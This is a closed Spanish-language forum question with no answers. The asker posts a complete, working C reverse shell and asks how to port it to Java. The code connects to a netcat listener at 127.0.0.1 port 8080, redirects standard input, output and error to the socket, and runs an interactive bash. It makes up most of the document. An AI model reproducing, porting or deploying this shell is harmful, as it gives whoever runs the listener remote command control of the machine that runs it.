Script de shell-reverso simple en java? [cerrado]

1

Tengo un script simple ( escrito en C ) y se conecta de nuevo a un servidor netcat para abrir un shell, por lo tanto, es un script de shell inverso realmente simple. ¿Cómo hacer lo mismo en java ?

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {

 int sock = socket(AF_INET, SOCK_STREAM, 0);
 struct sockaddr_in serv_addr;
 serv_addr.sin_family = AF_INET;
 serv_addr.sin_port = htons(8080);
 serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
 if(0 != connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)))
    exit(0);
 dup2(sock, 2);
 dup2(sock, 1);
 dup2(sock, 0);

 execl("/bin/bash", "/bin/bash", "-i", NULL);
}
    
pregunta user126623 08.08.2016 - 20:17
fuente

0 respuestas

Lea otras preguntas en las etiquetas